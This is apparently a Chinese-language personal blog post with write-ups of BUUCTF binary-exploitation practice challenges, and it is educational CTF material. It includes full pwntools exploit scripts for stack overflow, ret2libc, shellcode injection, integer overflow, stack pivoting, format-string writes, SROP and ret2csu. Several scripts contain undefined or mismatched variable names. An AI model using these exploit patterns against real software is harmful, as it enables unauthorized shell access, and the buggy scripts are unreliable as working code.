随机掉落做题复健

BUUCTF 第一页,无脑复健一下

虽然本来就很菜

基础 ROP

jarvisoj_level2_x64

很简单,我们只需要栈溢出调用 system ,再把 system 的变量变成 “/bin/sh“即可

找到程序中有该字符串

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh=process('./pwn')

sh_bin=0x600A90
pop_rdi=0x4006b3
system_add=0x4004C0

payload=b'a'*88+p64(pop_rdi)+p64(sh_bin)+p64(system_addr)

sh.sendline(payload)

sh.interactive()

[OGeek2019]babyrop

main 函数里的逻辑是:

生成一个随机数,把这个随机数作为参数传进 sub_804871F() 函数里,然后将该函数返回的结果作为参数再传进 sub_80487D0()

其中 sub_804871F() 中逻辑如下:

我们需要保证 strncmp() 的结果不为 0,不然程序会异常退出。

sub_80487D0() 函数中的逻辑如下:

传入的这个 a1 就是上方 sub_804871F() 函数中返回的 buf 第七个字节的 ascii 码。因为 buf 由我们自己来输入,我们可以控制 read 读入的长度,所以可以造成溢出。

漏洞具体利用方法:

  • 要控制 strncmp() 的结果不为 0,就要保证 s 和 buf 相等。strncmp()'/x00' 截断。所以我们可以在输入的 buf 前加上 '/x00'

  • 要在 sub_80487D0() 函数中造成溢出,缓冲区长度就有 231+4=235 这么长,所以我们需要找一个 ascii 码足够大的字符。

    但是能搜到的 ascii 码的字符,实际输出都没有拓展表中标注的这么大。所以我们采用另一个方法:转义字符。

    \ 为转义字符,而 ‘\xhh’ 表示 ASCII 码值与 ‘hh’ 这个十六进制数相等的符号,例如 ‘\xff’ 表示 ASCII 码为 255 的符号。

  • 实现溢出后利用 write() 函数泄露 libc 基质,而后回到 main ,再次修改返回地址为 system 的 ROP 链

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386',os='linux')

sh=remote('node5.buuoj.cn',28133)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
main_addr= 0x08048825
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload=b'\x00'+b'\xff'*7

sh.sendline(payload)

padding=b'a'*(0xe7+4)
payload1=padding+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
sh.recvuntil("Correct\n")
sh.sendline(payload1)

write_addr = u32(sh.recv(4))
print(hex(write_addr))

libc_base = write_addr - libc.sym["write"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr = libc_base+next(libc.search(flat("/bin/sh")))

sh.sendline(payload)

sh.recvuntil("Correct\n")
payload2 =padding+p32(system_addr)+p32(0)+p32(bin_sh_addr)
sh.sendline(payload2)
sh.interactive()

ciscn_2019_n_5

超简单的 ret2shellcode,什么保护都没开

main函数中的逻辑如下:

我们直接向 name 中写入 shellcode,再在输入 text 时溢出修改返回地址到 name 地址处执行 shellcode 即可。

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("node5.buuoj.cn",25735)
context(os='linux', arch='amd64', log_level='debug')
shellcode = asm(shellcraft.sh())
name_addr = 0x0601080
p.sendlineafter("tell me your name\n",shellcode)
payload = 'a' * (0x20 + 0x8) + p64(name_addr)
p.sendlineafter("What do you want to say to me?\n",payload)
p.interactive()

ciscn_2019_en_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
from LibcSearcher import*

r=remote('node5.buuoj.cn',26445)
elf=ELF('./pwn')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr = u64(r.recvline()[:-1].ljust(8, b'\0'))


libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

ciscn_2019_ne_5

main函数中的逻辑如下,首先需要输入一个密码,密码正确后进入菜单:

AddLog:

接收了用户的128长度的输入并存储在 a1 中,此处的 a1 即是 main 函数中的 srcsrc 的长度是 48。

Print:

这里面调用了 system() 函数,可以供我们后续使用。

GetFlag:

在这个函数中,程序将 src 复制给 dest,而此处的 dest 也是 48 字节长度。

在整个程序中,我们可以利用 Add 控制 src 的输入,再利用 GetFlag 函数进而控制 dest 。因此,我们可以造成溢出,通过溢出 dest 控制函数的返回地址为 system(),从而实现 getshell。

用 ROPgadget 来搜索一下程序里的 '/bin/sh' 字符串的地址,没有找到,但是发现有 'sh' 字符串,这个效果是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
sh=remote('node5.buuoj.cn',26469)
elf=ELF('./pwn')

password='administrator'

bin_sh=0x080482ea
system_addr=elf.sym['system']

sh.recvuntil('Please input admin password:')
sh.sendline(password)

sh.recvuntil('0.Exit\n:')
sh.sendline('1')

sh.recvuntil('info:')
payload=b'a'*(0x48+4)+p32(system_addr)+p32(0)+p32(bin_sh)
sh.sendline(payload)

sh.recvuntil('0.Exit\n:')
sh.sendline('4')

sh.interactive()

bjdctf_2020_babyrop

没什么特别的,就是这道题我匹配了超多 libc ,试了很多次才成功,就想记录一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import LibcSearcher

sh=remote('node5.buuoj.cn',29454)
elf=ELF('./pwn')

main=0x040067D
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

pop_rdi=0x0400733
ret=0x04004c9

payload=b'a'*(0x20+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sh.recvuntil('story!\n')
sh.sendline(payload)

puts_addr=u64(sh.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')

payload=b'a'*(0x20+8)+ p64(pop_rdi) + p64(bin_sh)+p64(system)
sh.recvuntil('story!\n')
sh.sendline(payload)

sh.interactive()

[HarekazeCTF2019]baby_rop2

main 函数如下:

很明显的栈溢出,read 读入100 字节,buf 长度只有 20。可以用来泄露基址在栈上构造 system("/bin/sh")

需要注意的是,我们在这个程序当中是利用 printf 来输出地址,和之前的 puts 不一样。

printf 实际上就是 int printf( const char* format , [argument] ... );

printf 里面有两个参数(puts 只需要传一个),所以我们不仅要找 pop_rdi 还要找 pop_rsi 这个指令来传参,程序里招到的对应指令还带一个 pop r15,没关系我们只要给它设置一个参数 0 就行。

我们构造的 payload 就写作:

1
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(fmt_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_got)+p64(main)

payload 被发送并执行后就是:

  1. b'a'*(0x20+8) :栈溢出将返回地址覆盖
  2. p64(pop_rdi)+p64(fmt_str):原本的返回地址被改成了 pop rdi,retpop rdi 对应的参数 fmt_str 会对应的会传给 rdi
  3. p64(pop_rsi_r15)+p64(read_got)+p64(0)pop_rsi,pop_r15,ret; 执行指令 pop_rsi 对应参数 read_got ,将 rsi 寄存器的值设置成了 read 函数的 got 表地址,pop_r15 对应参数 0,我们不用 r15,随便设置一下它就行
  4. p64(printf_got):将 printf 函数的 plt 表地址传入栈中,以去执行 printf 函数,输出我们设置的 read 函数的地址
  5. p64(main):在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入 system('/bin/sh')

随后正常构造即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

sh=process('./babyrop2')
elf=ELF('./babyrop2')
main= elf.symbols['main']

printf_plt = elf.plt["printf"]
read_got = elf.got["read"]


pop_rdi=0x0400733
pop_rsi_r15=0x0400731
ret=0x04004d1
fmt_str=0x0400770

payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(fmt_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
sh.recvuntil('name?')
sh.sendline(payload)

read_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(read_addr))

libc=ELF('./libc.so.6')
libc_base = read_addr - libc.sym['read']
system = libc_base + libc.sym['system']
binsh = libc_base+next(libc.search(flat("/bin/sh")))

payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(binsh)+p64(system)
sh.recvuntil('name?')
sh.sendline(payload)

sh.interactive()

学到了一个找 flag 的新方法🥹:

如果 flag 被藏起来了,可以使用 find -name “flag” 命令来查找,然后根据查找出的地址直接 cat /file/flag

picoctf_2018_rop chain

main 函数就是 gets 栈溢出,get flag() 后门函数直接就可以输出 flag。但需要满足以下条件:

![](/img/复健/picoctf_2018_rop chain_flag.png)

a1 的值点击后右键选择 Hexadecimal

win1和 win2 都是由对应的函数进行设置:

![](/img/复健/picoctf_2018_rop chain_win1.png)

其中 a1是直接向 win_function2() 传参,我们也直接在 payload 里构造就好。

![](/img/复健/picoctf_2018_rop chain_win2.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

sh=remote('node5.buuoj.cn',26951)
win1=0x080485CB

win2=0x080485D8
flag=0x0804862B

a11=0xBAAAAAAD
a12=0xDEADBAAD

payload=b'a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(a11)+p32(a12)

sh.sendline(payload)

sh.interactive()

ez_pz_hackover_2016

难得的,好久不见的 NX 保护没开的题目,那就是写 shellcode 嘛。

漏洞就在 chall 函数和 vuln 函数里:

memchr() 函数就是将 ‘\n’ 之后的数据置为0

综合来考虑就是我们需要先绕过 main 函数中的 strcmp 比较,所以我们部署的 s 的组成就是 “crashme+'\x00'+其他“ 。

再结合到 vuln 函数,我们覆盖住 dest 的缓冲区,并在栈上部署 shellcode ,将返回地址修改为 shellcode 地址即可。

开始的时候程序泄露了栈地址,也就是运行的时候 s 开始的地址,我们可以利用给出的栈地址做基地址来计算到 shellcode 的偏移来得出shellcode的地址,虽然地址会随机化但是偏移量不会变。

所以我们初步确定payload组成是 b'crashme\x00'+offest+p32(shellcode_add)+shellcode

我们调试一下 shellcode 的偏移,就是看我们的 EBP 距离 s 的偏移再加4( leave,ret )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
sh=process('./pwn')
context.log_level='debug'

gdb.attach(sh,'b *0x8048600') #利用gdb动调,在0x8048600处下了个断点

sh.recvuntil('crash: ')
stack=int(p.recv(10),16)
print(hex(stack))

payload='crashme\x00'+'aaaaaa'
sh.sendline(payload)

pause()

所以我们要填充的区域就是就是 0x38-0x22+4=0x1A

同理也可以计算出 shellcode 的地址偏移,需要注意,vuln(src, n) 里 memcpy 的第二个参数是 &src 而不是 src ,所以并不是把 src处的东西拷贝到 dest,而是从 ebp+8 开始拷贝。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh=process('./pwn')
context.log_level='debug'

p.recvuntil('crash: ')
stack=int(sh.recv(10),16)
print(hex(stack))

shellcode=stack-0x1c
payload='crashme\x00'+b'a'*(0x1a-8)+p32(shellcode_addr)+asm(shellcraft.sh())
sh.sendline(payload)
sh.interactive()

整数溢出

pwn2_sctf_2016

vuln 函数中的逻辑如下:

在最开始接收用户想要输入的字符长度,有一个 if 检查确保用户的输入小于 32。但是用来接受输入的函数 get_n() 并不是系统函数,具体如下:

它所接收和返回的都是 unsigned int 类型,所以我们就可以利用整数溢出来绕过 main 函数中的检查 。

而后的步骤就是正常的 ret2rop 流程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386',os='linux')
sh=remote('node5.buuoj.cn',27438)
elf=ELF('./pwn')

vuln=0x0804852F
main_addr = elf.symbols['main']

printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]

sh.recvuntil('read? ')
sh.sendline(b'-1')

sh.recvuntil('data!\n')
payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(vuln)+p32(printf_got)
sh.sendline(payload)

sh.recvuntil('\n')
printf_addr=u32(sh.recv(4))
print(hex(printf_addr))

libc=LibcSearcher('printf',printf_addr)
base=printf_addr-libc.dump('printf')
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')

sh.recvuntil('read? ')
sh.sendline(b'-1')

sh.recvuntil('data!\n')
payload=b"a"*(0x2c+4) + p32(system) + p32(main_addr)+p32(bin_sh)
sh.sendline(payload)

sh.interactive()

出现了一点问题,本地能打通远程打不通,搜出来的libc版本都不一样,我四处冲浪发现了一位师傅的评论:

![](/img/复健/No libc satisfies constraints.png)

不管了!本地通了就是通了🥹

bjdctf_2020_babystack2

是一个整数溢出的题

main函数中的逻辑是这样的,程序中另外有现成的后门函数,如果在读入 buf 时溢出修改返回地址就可以直接 get shell。

buf 的长度为 0x10 ,但是在输入前有一个 if 条件检验输入的数字不能大于 10。

scanf 处的 nbytes 是 unsigned int,unsigned int 是无符号整型,我们如果输入的是 -1就会变成 unsigned int 的最大值,这样就可以绕过检测并提供足够的空间用来溢出。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh=process('./pwn')
sh.recvuntil("Please input the length of your name:\n")
sh.sendline('-1')

sh.recvuntil("What's u name?\n")
payload=b'a'*(0x10+8)+p64(0x0400726)
sh.sendline(payload)

sh.interactive()

栈迁移

ciscn_2019_es_2

程序自带一个后门函数,但是有个坑:

它这个地方 echo flag 是真的只是输出了 “flag”。但这不是什么问题我们给 system 函数传入一个 “/bin/sh” 就行。

一开始看错了我还想说怎么打不通明明没问题😅

main 函数没什么可看的,直接进入 vul

s 长度为 0x28 ,但是 read 只能读入 0x30 字节,我们想要溢出的话也只能覆盖 s 缓冲区+ebp+ret,不能容纳我们添加新的返回地址。

这个时候我们就可以考虑栈迁移。

如果溢出的空间足够,我们就可以构造如下的栈结构来get shell

栈迁移的话栈结构的构造也没什么变化,就是给它把这一部分虚假的栈结构(x 放到别的地方去而已。这道题的话我们就直接控制栈到 s 的缓冲区来构造 rop 即可。

这样,题目中给的两次 read 和 print 都是可以供我们利用的。第一次 read 泄露栈地址用来栈迁移,第二次用来执行栈迁移,控制 ret 跳转到我们所迁移的栈上。

由于 printf("%s")'\x00' 存在截断,因此只需要填充 padding 到 ebp 位置,就可以 printf 泄露 ebp 的值。

通过 GDB 调试可以获得 ebp 在栈上的偏移为 0x38

所以我们只要将 ebp-0x34 即可获得栈地址。

第二次输入 s 时就正常构造 rop 链即可,另须注意每次 ret 都会让 esp+4,需要在 rop 链前加四字节的 padding。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug',arch='i386',os='linux')
r=remote('node5.buuoj.cn',28389)

sys=0x8048400
leave_ret=0x08048562
payload='a'*0x27+'b'
r.send(payload)
r.recvuntil("b")
ebp=u32(r.recv(4))
s=ebp-0x38
payload2=b'aaaa'+p32(sys)+p32(1)+p32(s+0x10)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)
r.send(payload2)
r.interactive()

格式化字符串

easyfmt

分析题目

按照做题习惯先看一下文件保护,只开启了 canary 和 NX

直接放进 ida 反编译

进入格式化字符串漏洞之前有一个 if 条件检测 CheckIn 函数,看一下:

最后一行 return 是让 buf 强制转换为一个 _BYTE 类型的数据也就是只有一位数字,和 v2 比较是否相等。随便填一个数字,多试几次肯定能行👻

成功后跳出 CheckIn 来看漏洞利用部分,只有一个 printf,但肯定要想办法多次利用它才行。就直接第一次利用 printf 先改掉 exit 的 got 表,让它跳转到 if 检测后的地址。

漏洞利用

通过 checkin 检测以后先修改 exit 的 got 表,然后第二次漏洞利用泄露 put 的地址,利用 ret2libc 查询 system 地址,第三次利用改掉put 的 got 表,第四次写入”/bin/sh”,让程序运行结束跳转回去执行system("/bin/sh"); ,完成 getshell。

格式化字符串要查找一下对应的偏移先,啊忘了怎么搞了

(我就说多试几次就通过检测了叭🤪

偏移是8

最后结果是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(arch = "amd64",os= "linux")
context.log_level = 'debug'
a = process('./easyfmt')
elf = ELF('./easyfmt')
exit_plt = elf.plt['exit']
exit_got = elf.got['exit']
put_plt = elf.plt['put']
put_got = elf.got['put']
main_addr = 0x400999

a.sendlineafter('enter','1')
payload = fmtstr_payload(8,{exit_got:main_addr})

a.sendlineafter('slogan: ',payload)
payload = b'%10$sbbb' + p64(puts_got)
a.sendafter(b'slogan: \x00',payload)
puts_addr = u64(a.recvuntil(b'bbb')[:-3:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so')
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
print(hex(system_addr))

payload = fmtstr_payload(10,{printf_got:system_addr})
a.sendlineafter('slogan: ',payload)
a.sendlineafter('slogan: ','/bin/sh')
a.interactive()

jarvisoj_fm

main函数中的逻辑如下:

printf(buf) 存在格式化字符串漏洞,再往下的 x 变量在 data 段,我们通过格式化字符串任意写的漏洞修改 x 的值即可。

计算出字符串输入处的偏移是11

(nil)也算一位偏移,32位没有寄存器传参所以栈上偏移是多少就是多少

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh=process('./fm')

x_add=0x804A02C

payload=p32(x_add)+b"%11$n"
#先把x的地址传到栈上,再修改此处的地址为x地址的长度即4字节 (这个地方是凑巧了,如果更大的数字比如6就要填充padding补充)
sh.sendline(payload)

sh.interactive()

系统调用 srop

ciscn_2019_s_3

vuln函数里两个系统调用

发现有一个 gadget() 函数,里面有一个return 15L,点进汇编源码那一页可以发现下面还有一个返回 59 的代码。我们可以另外利用这两个系统调用

系统调用:

每一个系统函数都有一个对应的系统调用号,例如:

sys_read 的调用号为 0 、sys_write 的调用号为 1、stub_execve 的调用号为 59、stub_rt_sigreturn 的调用号为 15

另外需要注意的是,这个题的汇编代码中只有 ret ,没有 leave 指令,所以它不会执行 mov ebp,esp | pop ebp。只要覆盖住 0x10 的缓冲区就可以同时覆盖住返回地址。

方法一-SROP:

解题思路就是可以通过 read 伪造一个 sigreturn frame 在栈中,然后执行 sigreturn 的系统调用

本题中不存在 '/bin/sh' 字符,所以需要我们手动输入。我们可以利用栈溢出首先利用本题的 sys_read 去读一个 ‘/bin/sh’ ,因为栈中的位置都是通过偏移确定的,所以要确定栈偏移。

栈地址-字符串在栈中的地址 = offset

在 main 函数开始时 rsi 存的便是栈地址,我们通过 GDB 来调试查看

我们在read时输入 ‘/bin/sh’ ,就可以查看它在栈上的偏移

所以 offest=0xf48-0xe30=0x118,binsh_addr=栈地址-0x118

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
e=ELF('./pwn')
p=process('./pwn')

vuln_addr=0x04004F1
payload=b'/bin/sh\x00'+b'a'*(0x10-len('/bin/sh\x00'))+p64(vuln_addr)

p.sendline(payload)
add=p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')
print(hex(u64(add)-0x118))
bin_sh=u64(add)-0x118
log.info('stack:'+hex(stack))

syscall_ret=0x0400517 # syscall ; ret
rax=0x004004DA #mov rax, 0Fh;ret

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload=b'/bin/sh\x00'+b'a'*(0x10-len('/bin/sh\x00'))+p64(rax)+p64(syscall_ret)+bytes(frame)

p.sendline(payload)
p.interactive()

方法一-ret2csu:

因为程序中有 59 系统调用号,所以想办法控制寄存器的值调用 execve(“/bin/sh”,0,0)。一共需要传三个参数,因为是 64 位所以需要 rdi , rsi ,和 rdx 三个寄存器用来传参。分别对应:

1
2
3
4
rax: 0x3b
rdi: '/bin/sh'
rsi: 0
rdx: 0

mov rax ,3b 就是之前提到的 vuln 里的可利用的代码片段。其余的可以在 init_csu 函数里找到对应的 gadget。

我们可以通过下半段的 pop 指令,设置 r13、r14 ,再通过上半部分的 mov 指令将 r13、r14 的值分别赋值给 rdx、rsi。其余的寄存器的值根据需要设置。我们目前需要设置的是 r13=0、r14=0。

我们当前构想的 payload 结构如下:

需要注意一下的是,我们执行完毕 mov 命令后,会执行 call 指令,对应跳转到 r12+rbx*8 处。所以我们将 rbx 设置为 0,就可以让这一步执行 r12 处指向的操作。对应的 r12 我们就可以存储我们想要执行的地址 mov_rax_addr。

pop_rdi 怎么执行呢?

程序回到 csu 后会自动给 rbx+1 ,随后进行 rbx 与 rbp 的比较,如果比较结果不同就会跳转到mov 指令处再次执行,这时call 会跳转到r12+8,正好就是 pop_rdi

综上,我们要给 rbx 和 rbp 都赋值 0,给 r12 复制存储 mov_rax_addr 的地址,同样是利用偏移来确定,就是 ‘/bin/sh’+0x50 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
sh=process('./pwn')

mov_addr=0x0400580
pop_add=0x040059A
mov_rax=0x04004E2
pop_rdi=0x04005a3
syscall_addr=0x0400501

payload=b'/bin/sh\x00'+b'a'*(0x10-len('/bin/sh\x00'))+p64(vuln_addr)
sh.sendline(payload)

stack_add=p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')
bin_sh=u64(add)-0x118

payload=b'/bin/sh\x00'+b'a'*(0x10-len('/bin/sh\x00'))+p64(pop_addr)+p64(0)*2+p64(bin_sh+0x50)+p64(0)*3
payload+=p64(mov_addr)+p64(mov_rax)
payload+=p64(pop_rdi)+p64(bin_sh)+p64(syscall_addr)

sh.sendline(payload)
sh.interactive()

脑袋笨笨的🥹


随机掉落做题复健
https://shmodifier.github.io/2024/03/17/复健/
作者
Modifier
发布于
2024年3月17日
许可协议